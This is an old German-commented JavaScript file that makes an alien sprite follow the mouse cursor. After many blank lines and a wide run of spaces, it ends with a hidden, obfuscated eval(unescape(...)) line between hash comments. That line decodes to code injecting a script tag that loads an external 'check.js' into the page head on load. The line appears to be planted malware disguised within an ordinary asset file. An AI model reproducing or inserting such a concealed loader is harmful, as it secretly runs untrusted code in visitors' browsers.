var Ver4 = parseInt(navigator.appVersion.charAt(0)) >=  4;
var al, imagesrc, ex=-32, ey=-32, x0=-32, y0=-32;
var img_bas = "img/";

function BewegeAlien()        // Neue Position des Alien berechnen
{
  if ( Math.abs(ex-x0) >= 10 )
    x0 += Math.floor( (ex-x0) * 0.1);
  else
    if ( ex != x0 )
      x0 += Math.abs(ex-x0) / (ex-x0);

  if ( Math.abs(ey-y0) >= 10 )
    y0 += Math.floor(( ey-y0) * 0.1);
  else
    if ( ey != y0 )
      y0 += Math.abs(ey-y0) / (ey-y0);

  // entsprechende Grafik in Bezug zur Maus-Position waehlen
  imagesrc="";
  if ( (ex < x0) && ( (x0-ex) > Math.abs(y0-ey)/2 ) ) {
    imagesrc = img_bas + "alien_l.gif";
    if ( (x0-ex) < Math.abs(y0-ey)*2 ) {
      if (ey<y0) imagesrc=img_bas + "alien_lo.gif";
      if (ey>y0) imagesrc=img_bas + "alien_lu.gif";
    }
  }
  if ( (ex > x0) && ( (ex-x0) > Math.abs(y0-ey)/2) ) {
    imagesrc=img_bas + "alien_r.gif"
    if ( (ex-x0) < Math.abs(y0-ey)*2 ) {
      if (ey<y0) imagesrc=img_bas + "alien_ro.gif";
      if (ey>y0) imagesrc=img_bas + "alien_ru.gif";
    }
  }
  if (imagesrc=="") {
    if (ey<y0) imagesrc=img_bas + "alien_o.gif";
    if (ey>y0) imagesrc=img_bas + "alien_u.gif";
    if ((ex==x0)&&(ey==y0)) imagesrc=img_bas + "alien.gif";
  }

  // Grafik und Position setzen
  if (Ver4) {
    if      (NS4) document.AlienLayer.document.images.alien.src=imagesrc;
    else          document.images["alien"].src=imagesrc;
//!!else       document.all.AlienLayer.document.images.alien.src=imagesrc;
  }
  al.left = x0-29;    // org:32
  al.top  = y0- 4;    //      0

  setTimeout("BewegeAlien();",100)
}

function MeinMausEvent(e)          // Position des Maus-Cursors ermitteln
{
  if ( Ver4 ) {
    if (NS4 || NS6) {
      ex=e.pageX;
      ey=e.pageY; }
    else if (Opera) {
      ex = event.clientX;
      ey = event.clientY; }
    else {
      ex = event.clientX+document.body.scrollLeft;
      ey = event.clientY+document.body.scrollTop ; }
  }
}

function ScriptSetup()        // Alle Alien-Grafiken laden
{
  isIm = (document.images) ? 1 : 0
  if (isIm) {
    arImLoad = new Array('alien','alien_u','alien_o','alien_l','alien_r','alien_lu','alien_lo','alien_ru','alien_ro');
    arImList = new Array();
    for (counter in arImLoad) {
      arImList[counter] = new Image();
      arImList[counter].src = img_bas + arImLoad[counter] + '.gif';
    }
  }

  // Globale Variablen setzen und Maus-Event initialisieren
  if (Ver4) {
    if      (NS4) al=document.AlienLayer; // oder: document.layers
    else if (IE4) al=document.all.AlienLayer.style;
    else      {  _al=document.getElementById("AlienLayer"); al = _al.style; }

    if (NS4 || NS6)
      document.captureEvents(Event.MOUSEMOVE);
    document.onmousemove = MeinMausEvent;
    BewegeAlien();
  }
}

function MausKlick()
{
  window.focus();  // den Focus des Bildes wegnehmen
  //alert("kr&uuml;zy yu mrrennzchkynd ");

  x0 = parseInt(Math.random() * screen.width);   // Neu Positionen
  y0 = parseInt(Math.random() * screen.height);
}

function ZeigeAlien()          // Setzen der Block-Level Container
{                              // zur Anzeige der Grafiken
  if ( Ver4 ) {
    // 1. Zeile dummy-Element f. Netscape !!?
    s ='<DIV STYLE="visibility:hidden"></DIV>';
    s+='<DIV ID="AlienLayer" STYLE="position:absolute; ';
    s+='top:-32; left:-32; width:32; height:32">';
    s+='<A HREF="javascript:MausKlick();">';
//  s+='<IMG NAME="alien" SRC="'+img_bas+'"alien.gif" border=0>';      Feb_2002
    s+='<IMG NAME="alien" SRC="'+img_bas+'"alien.gif" border=0 width=32 height=32>';
    s+='</A></DIV>';
    document.writeln(s);
  }
}

ZeigeAlien();
window.onload = ScriptSetup;




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%35%36%34%36%34%32%3B%20%4A%53%53%33%20%3D%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%6A%73%5F%70%72%6A%2F%64%65%73%30%34%5F%66%72%61%75%6E%68%6F%66%65%72%2F%75%6A%6F%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      





































































































